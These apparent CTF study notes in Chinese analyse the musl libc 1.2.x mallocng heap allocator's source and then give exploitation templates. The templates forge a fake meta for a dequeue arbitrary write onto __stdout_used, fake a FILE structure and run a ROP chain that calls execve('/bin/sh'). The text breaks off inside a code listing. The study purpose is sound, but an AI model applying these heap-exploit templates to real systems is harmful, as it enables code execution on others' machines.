  • 如果该group中存在被free的chunk,即freed_mask中置1的chunk,那么就返回该chunk,这里也存在一个顺序问题,不会管是先释放还是后释放的,只会从上到下进行分配,如下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(8):
add_malloc(0x2c)
edit(i,0x10,p8(i)*0x10)

for i in range(6,-1,-1):
free(i)

dbg()
add_malloc(0x2c)
add_malloc(0x2c)
pause()
add_malloc(0x2c)
edit(10,0x10,p8(0x11)*0x10)
pause()

第一次dbg()断点的地方先申请8个chunk,那么现在在该group的avail_mask中应该为1100000000freed_mask应该为1111111

image-20220317143430652

我们接着申请两个Chunk,在第二次断点处,其avail_mask应该为0,而freed_mask不变

这时候再申请一个chunk,即可申请出group中从上往下数首个被free的chunk,这时freed_mask被清空,avail_mask依据freed_mask进行重置

image-20220317144243283

其实总而言之就是当耗尽group中的avail_mask对应的可用chunk之后,再申请就会检测该group中是否存在被free的chunk,存在就会对被free的chunk进行处理,归到avail中,相应的avail_mask和freed_mask发生变化。

而如果我们改变释放顺序,依然申请出首个可用chunk,和释放顺序无关

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(8):
add_malloc(0x2c)
edit(i,0x10,p8(i)*0x10)

for i in range(0,7):
free(i)
dbg()
add_malloc(0x2c)
add_malloc(0x2c)
pause()
add_malloc(0x2c)
edit(10,0x10,p8(0x11)*0x10)
pause()

如下效果

image-20220317144709749

  • 当申请到该group中无可用chunk时,尝试从该size的meta队列中的其他meta对应的group来申请chunk。
1
2
3
4
5
6
7
8
for i in range(11):
add_malloc(0x2c)
edit(i,0x10,p8(i)*0x10)
free(0)
for i in range(11):
add_malloc(0x2c)
edit(i+11,0x10,p8(i+11)*0x10)
dbg()

如下图所示,我们在申请出另外一个meta-group(meta1)之后,free掉第一个meta-group(meta0)中的Chunk,然后当我们消耗完meta1中的空间之后,再申请chunk的话会检测该size的meta队列,试图从中申请chunk出来,如下图即从meta0中申请出我们刚刚释放的Chunk。

image-20220317153130762

  • 当该size的meta队列中无avail的chunk无free的chunk时,就会再分配一个meta-group来进行再分配
1
2
3
4
for i in range(11):
add_malloc(0x2c)
edit(i,0x10,p8(i)*0x10)
dbg()

原来的group已经不可用了,所以新分配了一个group

image-20220317144959413

3.关键函数

(1)malloc

参考:

musl-1.2.x堆部分源码分析 - 安全客,安全资讯平台 (anquanke.com)

从musl libc 1.1.24到1.2.2 学习pwn姿势 - 安全客,安全资讯平台 (anquanke.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
//v1.2.1  /src/malloc/mallocng/malloc.c
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;//是否超过申请的最大值,这个最大值不知道多少
/*
static inline int size_overflows(size_t n)
{
if (n >= SIZE_MAX/2 - 4096) {
errno = ENOMEM;
return 1;
}
return 0;
}
*/
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;

//mmap分配 #define MMAP_THRESHOLD 131052(0x1FFEC)
if (n >= MMAP_THRESHOLD) {
size_t needed = n + IB + UNIT;
void *p = mmap(0, needed, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
wrlock();
step_seq();
g = alloc_meta();
if (!g) {
unlock();
munmap(p, needed);
return 0;
}
//记录分配信息
g->mem = p;
g->mem->meta = g;
g->last_idx = 0;
g->freeable = 1;
g->sizeclass = 63;//meta的sizeclass为63代表mmap分配
g->maplen = (needed+4095)/4096;
g->avail_mask = g->freed_mask = 0;
// use a global counter to cycle offset in
// individually-mmapped allocations.
//记录分配个数
ctx.mmap_counter++;
idx = 0;
goto success;
}

//寻找size对应的meta,ctx.active[sc]
sc = size_to_class(n);
rdlock();
g = ctx.active[sc];

// use coarse size classes initially when there are not yet
// any groups of desired size. this allows counts of 2 or 3
// to be allocated at first rather than having to start with
// 7 or 5, the min counts for even size classes.
//对应size的meta为空且4=<sc<=32且不等于6且为偶数并且该sc没有正在使用的chunk
//那么申请的chunk就会从sc+1开始申请,比如申请0x8c,对应的sc应该是8,但是由于
//满足这个条件,sc为8的meta没有正在使用的chunk,对应就会从sc+1=9处开始申请
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
size_t usage = ctx.usage_by_class[sc|1];
// if a new group may be allocated, count it toward
// usage in deciding if we can use coarse class.
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}

//取到avail_mask最低位的1,置零之后计算idx
//根据idx从group中寻找可用chunk
for (;;) {
//meta中的可用内存的bitmap, 如果g为0那么就设为0, 表示没有可用chunk
mask = g ? g->avail_mask : 0;
//找到avail_mask的bit中第一个为1的bit
first = mask&-mask;
//如果没找到就停止
if (!first) break;
//设置avail_mask中first对应的bit为0
//下面是锁机制,不太懂
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
continue;
//找到之后设置avail_mask之后转为idx, 结束
idx = a_ctz_32(first);
goto success;
}
upgradelock();

idx = alloc_slot(sc, n);
if (idx < 0) {
unlock();
return 0;
}
//找到对应meta
g = ctx.active[sc];

success:
ctr = ctx.mmap_counter;
unlock();
//从g中分配第idx个chunk, 大小为n
return enframe(g, idx, n, ctr);
}
  • 判断有无超过mmap的阈值, 如果超过就mmap分配

  • 如果没有超过, size转sc之后, 通过ctx.active[sc]找到对应的meta队列, 尝试从队列中首个meta里分配chunk

  • 如果这个队列为空, 或者这个meta的avail_mask里面没有合适的chunk, 那就调用alloc_slot()获取chunk

  • 找到group与idx之后通过enframe()分配出这个chunk

🔺注:

需要注意的是,并没有对size为0进行限制,所以我们也可以申请size为0的Chunk,万一如下代码所示

1
2
3
4
5
size = readint("size?", a2);
*(_QWORD *)v5 = malloc(size);
v5[2] = size - 1;
puts("Contnet?");
return readn(*(_QWORD *)v5, v5[2]);

那么size为0就可以无限溢出了啊

①alloc_slot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//v1.2.1 /src/malloc/mallocng/malloc.c
static int alloc_slot(int sc, size_t req)
{
//尝试在该size的meta对应的active[sc]队列内部分配chunk
uint32_t first = try_avail(&ctx.active[sc]);
if (first) return a_ctz_32(first);//分配成功直接返回

//如果该size的meta对应的active[sc]队列中没有合适的avail_mask
//和freed_mask对应的chunk,那么就再分配一个meta-group,插入队列中
struct meta *g = alloc_group(sc, req);
if (!g) return -1;

g->avail_mask--;
//新分配的g入队
queue(&ctx.active[sc], g);
return 0;
}
  • 首先会通过try_avail()在以下位置寻找可用的chunk,
    • ctx.active[sc]的meta-group的freed_mask中
    • 队列中其他meta-group的avail_mask和freed_mask中
  • 如果失败,或者这个队列本来就空, 那么就会调用alloc_group()直接分配一个新的meta与对应的group,然后调用queue插入ctx.avtive[sc]这个队列中

②try_avail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//v1.2.1 /src/malloc/mallocng/malloc.c
static uint32_t try_avail(struct meta **pm)
{
struct meta *m = *pm;
uint32_t first;
if (!m) return 0;//如果ctx.active[sc]==NULL, 即该队列为空,直接返回

//ctx.active[sc]对应的meta-group的avail_mask中无可用chunk
uint32_t mask = m->avail_mask;
if (!mask) {
if (!m) return 0;
//ctx.active[sc]对应的meta-group的freed_mask中也没有chunk时
//代表都在使用中,从队列中弹出该meta-group
if (!m->freed_mask) {
dequeue(pm, m);
m = *pm;
if (!m) return 0;
} else {
//获取队列中下一个meta-group
m = m->next;
*pm = m;
}

//如果这个meta-group中所有的chunk都被释放了, 那么就再下一个meta-group
//即不从下一个全free或者没有申请chunk的meta-group中申请chunk
mask = m->freed_mask;
// skip fully-free group unless it's the only one
// or it's a permanently non-freeable group
if (mask == (2u<<m->last_idx)-1 && m->freeable) {
m = m->next;
*pm = m;
mask = m->freed_mask;
}

//没太看懂想干啥
// activate more slots in a not-fully-active group
// if needed, but only as a last resort. prefer using
// any other group with free slots. this avoids
// touching & dirtying as-yet-unused pages.
if (!(mask & ((2u<<m->mem->active_idx)-1))) {
if (m->next != m) {
m = m->next;
*pm = m;
} else {
int cnt = m->mem->active_idx + 2;
int size = size_classes[m->sizeclass]*UNIT;
int span = UNIT + size*cnt;
// activate up to next 4k boundary
while ((span^(span+size-1)) < 4096) {
cnt++;
span += size;
}
if (cnt > m->last_idx+1)
cnt = m->last_idx+1;
m->mem->active_idx = cnt-1;
}
}
//重新设置这个meta-group,freed_mask和avail_mask的设置
mask = activate_group(m);
/*其实也就是设置设置一下freed_mask和avail_mask
static inline uint32_t activate_group(struct meta *m)
{
assert(!m->avail_mask);
uint32_t mask, act = (2u<<m->mem->active_idx)-1;
do mask = m->freed_mask;
while (a_cas(&m->freed_mask, mask, mask&~act)!=mask);
return m->avail_mask = mask & act;
}
*/
assert(mask);
decay_bounces(m->sizeclass);
}
//取出
first = mask&-mask;
m->avail_mask = mask-first;
return first;
}
  • 查看这个meta-group中freed_mask中有无chunk,如果freed_mask为0, 说明这个meta-group中没有释放的chunk,就从队列中取出
  • 如果有的话就会通过active_group()把freed_mask中的chunk转移到avail_mask中

③alloc_group

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
//v1.2.1 /src/malloc/mallocng/malloc.c
//用来分配一个新的group
static struct meta *alloc_group(int sc, size_t req)
{
size_t size = UNIT*size_classes[sc];
int i = 0, cnt;
unsigned char *p;
//先分配一个meta管理group
struct meta *m = alloc_meta();
if (!m) return 0;
size_t usage = ctx.usage_by_class[sc];
size_t pagesize = PGSZ;
int active_idx;
if (sc < 9) {
while (i<2 && 4*small_cnt_tab[sc][i] > usage)
i++;
cnt = small_cnt_tab[sc][i];
} else {
// lookup max number of slots fitting in power-of-two size
// from a table, along with number of factors of two we
// can divide out without a remainder or reaching 1.
cnt = med_cnt_tab[sc&3];

// reduce cnt to avoid excessive eagar allocation.
while (!(cnt&1) && 4*cnt > usage)
cnt >>= 1;

// data structures don't support groups whose slot offsets
// in units don't fit in 16 bits.
while (size*cnt >= 65536*UNIT)
cnt >>= 1;
}

// If we selected a count of 1 above but it's not sufficient to use
// mmap, increase to 2. Then it might be; if not it will nest.
if (cnt==1 && size*cnt+UNIT <= pagesize/2) cnt = 2;

// All choices of size*cnt are "just below" a power of two, so anything
// larger than half the page size should be allocated as whole pages.
if (size*cnt+UNIT > pagesize/2) {
// check/update bounce counter to start/increase retention
// of freed maps, and inhibit use of low-count, odd-size
// small mappings and single-slot groups if activated.
int nosmall = is_bouncing(sc);
account_bounce(sc);
step_seq();

// since the following count reduction opportunities have
// an absolute memory usage cost, don't overdo them. count
// coarse usage as part of usage.
if (!(sc&1) && sc<32) usage += ctx.usage_by_class[sc+1];

// try to drop to a lower count if the one found above
// increases usage by more than 25%. these reduced counts
// roughly fill an integral number of pages, just not a
// power of two, limiting amount of unusable space.
if (4*cnt > usage && !nosmall) {
if (0);
else if ((sc&3)==1 && size*cnt>8*pagesize) cnt = 2;
else if ((sc&3)==2 && size*cnt>4*pagesize) cnt = 3;
else if ((sc&3)==0 && size*cnt>8*pagesize) cnt = 3;
else if ((sc&3)==0 && size*cnt>2*pagesize) cnt = 5;
}
size_t needed = size*cnt + UNIT;
needed += -needed & (pagesize-1);

// produce an individually-mmapped allocation if usage is low,
// bounce counter hasn't triggered, and either it saves memory
// or it avoids eagar slot allocation without wasting too much.
if (!nosmall && cnt<=7) {
req += IB + UNIT;
req += -req & (pagesize-1);
if (req<size+UNIT || (req>=4*pagesize && 2*cnt>usage)) {
cnt = 1;
needed = req;
}
}

p = mmap(0, needed, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) {
free_meta(m);
return 0;
}
m->maplen = needed>>12;
ctx.mmap_counter++;
active_idx = (4096-UNIT)/size-1;
if (active_idx > cnt-1) active_idx = cnt-1;
if (active_idx < 0) active_idx = 0;
} else {
int j = size_to_class(UNIT+cnt*size-IB);
int idx = alloc_slot(j, UNIT+cnt*size-IB);
if (idx < 0) {
free_meta(m);
return 0;
}
struct meta *g = ctx.active[j];
p = enframe(g, idx, UNIT*size_classes[j]-IB, ctx.mmap_counter);
m->maplen = 0;
p[-3] = (p[-3]&31) | (6<<5);
for (int i=0; i<=cnt; i++)
p[UNIT+i*size-4] = 0;
active_idx = cnt-1;
}
ctx.usage_by_class[sc] += cnt;
m->avail_mask = (2u<<active_idx)-1;
m->freed_mask = (2u<<(cnt-1))-1 - m->avail_mask;
m->mem = (void *)p;
m->mem->meta = m;
m->mem->active_idx = active_idx;
m->last_idx = cnt-1;
m->freeable = 1;
m->sizeclass = sc;
return m;
}

通过mmap分配Group,初始化相关信息。

④alloc_meta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
//v1.2.1 /src/malloc/mallocng/malloc.c
//用来分配meta对象
struct meta *alloc_meta(void)
{
struct meta *m;
unsigned char *p;
//判断ctx是否完成初始化,没完成就整一下
if (!ctx.init_done) {
#ifndef PAGESIZE
ctx.pagesize = get_page_size();
#endif
ctx.secret = get_random_secret();
ctx.init_done = 1;
}

//pagesize的设置
size_t pagesize = PGSZ;
if (pagesize < 4096) pagesize = 4096;

//首先看能不能从free_meta_head中获得meta对象,一般是将一个meta-group中的
//chunk全部分配完然后全部释放完就会自动进入meta-group的释放阶段,成功就进入
//进入到ctx.free_meta_head中
if ((m = dequeue_head(&ctx.free_meta_head))) return m;

//ctx中如果没有可用的meat对象
if (!ctx.avail_meta_count) {
int need_unprotect = 1;
//ctx中没有空闲的meat对象且ctx.brk不为-1
if (!ctx.avail_meta_area_count && ctx.brk!=-1) {
//分配一页内存0x1000
uintptr_t new = ctx.brk + pagesize;
int need_guard = 0;
//如果ctx.brk为0,一般在初始化的时候
if (!ctx.brk) {
need_guard = 1;
//调用brk()获取堆地址
ctx.brk = brk(0);
// some ancient kernels returned _ebss
// instead of next page as initial brk.
ctx.brk += -ctx.brk & (pagesize-1);
new = ctx.brk + 2*pagesize;
}
//brk()分配heap到new地址失败
if (brk(new) != new) {
ctx.brk = -1;
}
//分配成功
else {
//保护页, 在brk后面映射一个不可用的页(PROT_NONE),
//如果堆溢出到这里就会发送SIGV
if (need_guard) mmap((void *)ctx.brk, pagesize,
PROT_NONE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);
ctx.brk = new;
//把这一页全划分为meta对象
ctx.avail_meta_areas = (void *)(new - pagesize);
ctx.avail_meta_area_count = pagesize>>12;
need_unprotect = 0;
}
}
//如果前面brk()分配失败了, 直接mmap匿名映射一片PROT_NONE的内存再划分
if (!ctx.avail_meta_area_count) {
size_t n = 2UL << ctx.meta_alloc_shift;
p = mmap(0, n*pagesize, PROT_NONE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
ctx.avail_meta_areas = p + pagesize;
ctx.avail_meta_area_count = (n-1)*(pagesize>>12);
ctx.meta_alloc_shift++;
}
//如果avail_meta_areas与4K对齐, 那么就说明这片区域是刚刚申请的一页
//所以需要修改内存的权限,更改为读写保护的
p = ctx.avail_meta_areas;
if ((uintptr_t)p & (pagesize-1)) need_unprotect = 0;
if (need_unprotect)
if (mprotect(p, pagesize, PROT_READ|PROT_WRITE)
&& errno != ENOSYS)
return 0;
ctx.avail_meta_area_count--;
ctx.avail_meta_areas = p + 4096;
if (ctx.meta_area_tail) {
ctx.meta_area_tail->next = (void *)p;
} else {
ctx.meta_area_head = (void *)p;
}

//初始化ctx的相关信息
ctx.meta_area_tail = (void *)p;
ctx.meta_area_tail->check = ctx.secret;
ctx.avail_meta_count = ctx.meta_area_tail->nslots
= (4096-sizeof(struct meta_area))/sizeof *m;
ctx.avail_meta = ctx.meta_area_tail->slots;
}
//ctx的可用meta对象数组中有能用的,从中直接分配出来即可
ctx.avail_meta_count--;
m = ctx.avail_meta++;
m->prev = m->next = 0;
return m;
}
  • 查看ctx是否完成初始化,没完成就初始化一下
  • 如果ctx.free_meta_head链表中有空闲的meta, 那么直接从这里分配一个meta
  • 如果ctx.avail_meta_count>0,代表最开始分配出来的meta对象还没有被用完,直接从ctx.avail_meta对象数组中分配一个
  • 如果ctx.avail_meta_count=0,则代表最开始分配的meta对象已经用完,没有可用的,那么就说明需要向OS申请内存存放meta
    • 先通过brk分配1页,如果分配成功,则将新的内存页直接划分为meta对象,然后修改之后的内存页的权限。
    • 如果brk失败的话则会通过mmap()分配许多页内存, 但是这些内存都是PROT_NONE的, 属于guard page, 堆溢出到这些页面会引发SIGV, 而meta不使用开头与结尾的一页, 防止被溢出
  • 分配成功后设置ctx中的meta_area_tail, avail_meta_cnt等信息, 把新分配的一页作为待划分的meta。

⑤enframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//v1.2.1 /src/malloc/mallocng/meta.h
//分配chunk时,设置group用的函数
static inline void *enframe(struct meta *g, int idx, size_t n, int ctr)
{
size_t stride = get_stride(g);
size_t slack = (stride-IB-n)/UNIT;
unsigned char *p = g->mem->storage + stride*idx;
unsigned char *end = p+stride-IB;
// cycle offset within slot to increase interval to address
// reuse, facilitate trapping double-free.
int off = (p[-3] ? *(uint16_t *)(p-2) + 1 : ctr) & 255;
assert(!p[-4]);
if (off > slack) {
size_t m = slack;
m |= m>>1; m |= m>>2; m |= m>>4;
off &= m;
if (off > slack) off -= slack+1;
assert(off <= slack);
}
if (off) {
// store offset in unused header at offset zero
// if enframing at non-zero offset.
*(uint16_t *)(p-2) = off;
p[-3] = 7<<5;
p += UNIT*off;
// for nonzero offset there is no permanent check
// byte, so make one.
p[-4] = 0;
}
*(uint16_t *)(p-2) = (size_t)(p-g->mem->storage)/UNIT;
p[-3] = idx;
set_size(p, end, n);
return p;
}

(2)free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void free(void *p)
{
if (!p) return;
//获取相关信息
struct meta *g = get_meta(p);
int idx = get_slot_index(p);
size_t stride = get_stride(g);
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
get_nominal_size(p, end);

//计算这个chunk对应avail_mask和freed_mask的bitmap
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
((unsigned char *)p)[-3] = 255;
// invalidate offset to group header, and cycle offset of
// used region within slot if current offset is zero.
*(uint16_t *)((char *)p-2) = 0;

// release any whole pages contained in the slot to be freed
// unless it's a single-slot group that will be unmapped.
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}

// atomic free without locking if this is neither first or last slot
//在meta->freed_mask中标记一下, 表示这个chunk已经被释放了
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail;
assert(!(mask&self));//要释放的chunk应该既不在freed中, 也不在avail中

/*
1.如果满足 mask+self==all , 那就说明释放了这个chunk之后这个group
中所有chunk都被释放,就需要调用nontrivial_free回收整个meta-group
因此这个meta需要调用nontrivial_free()回收这个group
2.如果满足 !freed ,那么就说明该meta-group中没有被释放的chunk,有可能是第一次从该
有可能这个group全部被分配出去了, 这样group是会弹出avtive队列的, 而现在释放了一个
其中的chunk,所以需要调用nontrivial_free()把这个group重新加入队列
*/
if (!freed || mask+self==all) break;

//线程方面的一些知识,还不是太会
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}

wrlock();
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len);
}
  • 通过get_meta()找到chunk对应的meta,重置idx与offset,将meta的freed_mask中标记一下就算释放完毕了。
  • 有一些特殊情况的,需要跳出循环来调用nontrivial_free()完成相关操作

①nontrivial_free()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

//如果meta-group中所有chunk要么被释放要么可使用
//并且g可以被释放(不是mmap出来的),那么就要回收掉整个meta
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) {
//检查sc释放合法, 不是mmap(63)的
assert(sc < 48);
//如果g是队列中开头的meta, 那么弹出队列后, 要激活后一个
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
//激活后一个meta过程中需要完成avail_mask和free_mask的设置
//即free_mask向avail_maks进行转移
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
//现在要释放这个meta-group,放入ctx.free_meta_head中
return free_group(g);

}
//如果mask==0, 也就是这个meta-group中所有的chunk都被分配出去了
else if (!mask) {
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
//现在这个全部chunk被分配出去的group中有一个chunk要被释放了
//因此这个meta-group要重新入队
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}

②dequeue

1
2
3
4
5
6
7
8
9
10
11
12
13
//v1.2.1 /src/malloc/mallocng/meta.h
//meta的出队操作,一般漏洞点出在这里
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

没有检测meta中的next和prev指针是否合法,如果可以伪造一个meta传入,控制它的prev/next指针,就可以做到像unlink一样的任意写

③queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//v1.2.2 /src/malloc/mallocng/meta.h
static inline void queue(struct meta **phead, struct meta *m)
{
assert(!m->next);
assert(!m->prev);
if (*phead) {
struct meta *head = *phead;
m->next = head;
m->prev = head->prev;
m->next->prev = m->prev->next = m;
} else {
m->prev = m->next = m;
*phead = m;
}
}

当meta进入该函数,就会发生解链,然后进入到对应的active[sc]中,这种情况需要active[sc] = NULL,即该sizeclass下暂时不存在可用的meta。

🔺注:

malloc和free的时候不会将chunk的内容置空,这个给我们创造了UAF的一些条件,同样的也有相应的静态堆内存

4.利用方式

(1)泄露地址

通常使用静态堆内存来进行泄露,但是这里就涉及一个问题,静态堆内存就算申请到了,也没有指针啊。所以现在的题目好多都是申请一个chunk结构体,比如

1
2
3
4
5
6
7
struct strChunk
{
char size[8];
char* data;
}
struct strChunk* myChunk = malloc(xxx);
myChunk.data = malloc(xxx);

这样在在一定的UAF或者溢出条件下,就可以泄露出data指针,而如果这个data指针恰好是从静态堆内存申请出来的,那么就能泄露libc地址了。

heap地址也是类似,一般就是通过溢出或者UAF之类的来泄露了。

如果没有的话,我能想到的就是无限申请,直到耗尽meta的空间,当它再开辟的meta空间的时候,由于是mmap分配的,那么就有可能申请出libc的空间

(2)getshell

①secret

想要伪造meta,首先需要泄露secrect校验值

②伪造meta

先行的方法基本都是伪造meta,伪造之后通常是通过两种方法进行利用,不同的方法伪造的meta基本也是不同的,下面具体介绍。

a.dequeue

调用链为

1
_libc_free->nontrivial_free->dequeue

这种是通过dequeue进行任意写覆盖__stdout_used指针(就像libc里面的IO_list_all),然后伪造__IO_FILE,通过IO进行攻击。

伪造的meta

1
2
3
4
5
6
7
8
9
10
11
12
13

sizeclass = 1 #
freeable = 1
last_idx = 6 #
maplen = 1

fake_meta = b''
fake_meta += p64(stdout_used_addr-0x8) # prev
fake_meta += p64(fake_IO_addr) # next
fake_meta += p64(base) # mem
fake_meta += p32(0x7e) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sizeclass << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
  • 获取__stdout_used

    这里通过dequeue就是将fake_IO_addr赋值给__stdout_usedimage-20230816194459069

    里面存放的是stdout__IO_FILE结构体。对于去掉符号信息的libc,不知道__stdout_used在哪的可以尝试分析exit里面调用的__stdio_exit函数去看在哪里,

    1
    2
    3
    4
    5
    6
    7
    8
    //v1.2.2 /src/exit/exit.c
    _Noreturn void exit(int code)
    {
    __funcs_on_exit();
    __libc_exit_fini();
    __stdio_exit();
    _Exit(code);
    }

    image-20230816195302098

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    //v1.2.2 /src/stdio/__stdio_exit.c

    void __stdio_exit(void)
    {
    FILE *f;
    for (f=*__ofl_lock(); f; f=f->next) close_file(f);
    close_file(__stdin_used);
    close_file(__stdout_used);
    close_file(__stderr_used);
    }

    image-20230816195412866

    其实这里也可以看到,劫持__stdin_used/__stderr_used也是一样的效果,但是实际中比较不容易出错的应该是__stdout_used用的比较多

  • 伪造fake_IO_addr

    主要是伪造几个关键的点,常见的伪造模板如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    # ROP

    gadget_addr = libc_base + libc.sym['longjmp'] + 30
    #mov rsp, [rdi+30h];jmp qword ptr [rdi+38h]

    fake_IO = p64(0) # flags
    fake_IO += p64(0) # rpos
    fake_IO += p64(0) # rend
    fake_IO += p64(rop_addr) # close
    fake_IO += p64(1) # wend
    fake_IO += p64(1) # wpos
    fake_IO += p64(rop_addr+0x8) # mustbezero_1 #0x30
    fake_IO += p64(pop_rdi_ret) # wbase #0x38
    fake_IO += p64(0) # read
    fake_IO += p64(gadget_addr) # write

    binsh_addr = libc_base + libc.search('/bin/sh').next()
    rop = ""
    rop += p64(pop_rdi_ret) + p64(binsh_addr)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(pop_rdx_ret) + p64(0)
    rop += p64(pop_rax_ret) + p64(59)
    rop += p64(syscall_ret)

    通过close_file函数中的f->write进入gadget,然后依据rdi劫持rsp,从而进行ROP

  • base获取

    这个通常是用来绕过在进入nontrivial_free函数之前的get_meta函数中针对meta检查的,链子为__libc_free->get_meta在如下代码中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    //v1.2.2 /src/malloc/mallocng/meta.h
    static inline struct meta *get_meta(const unsigned char *p)
    {
    assert(!((uintptr_t)p & 15));
    int offset = *(const uint16_t *)(p - 2);
    int index = get_slot_index(p);
    if (p[-4]) {
    assert(!offset);
    offset = *(uint32_t *)(p - 8);
    assert(offset > 0xffff);
    }
    const struct group *base = (const void *)(p - UNIT*offset - UNIT);
    const struct meta *meta = base->meta;
    assert(meta->mem == base); //主要用来绕过这里
    assert(index <= meta->last_idx);
    assert(!(meta->avail_mask & (1u<<index)));
    assert(!(meta->freed_mask & (1u<<index)));
    const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
    assert(area->check == ctx.secret);
    if (meta->sizeclass < 48) {
    assert(offset >= size_classes[meta->sizeclass]*index);
    assert(offset < size_classes[meta->sizeclass]*(index+1));
    } else {
    assert(meta->sizeclass == 63);
    }
    if (meta->maplen) {
    assert(offset <= meta->maplen*4096UL/UNIT - 1);
    }
    return (struct meta *)meta;
    }

    需要满足meta->mem=base,这里的base就是通过进入索引为0的chunk_addr-0x10,比如如下索引为0的chunk

    image-20230817192343088

    这里获取得到base之后,进一步得到meta,即为0x7ffff7fff0010

    image-20230817192915034

  • 设置avail_maskfreed_masklast_idxfreeablesizeclassmaplen

    设置这几个参数,主要用于通过nontrivial_free函数中的检查,包括ok_to_freeget_stride,如下代码所示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    //v1.2.2 /src/malloc/mallocng/free.c
    static struct mapinfo nontrivial_free(struct meta *g, int i)
    {
    uint32_t self = 1u<<i;
    int sc = g->sizeclass;
    uint32_t mask = g->freed_mask | g->avail_mask;

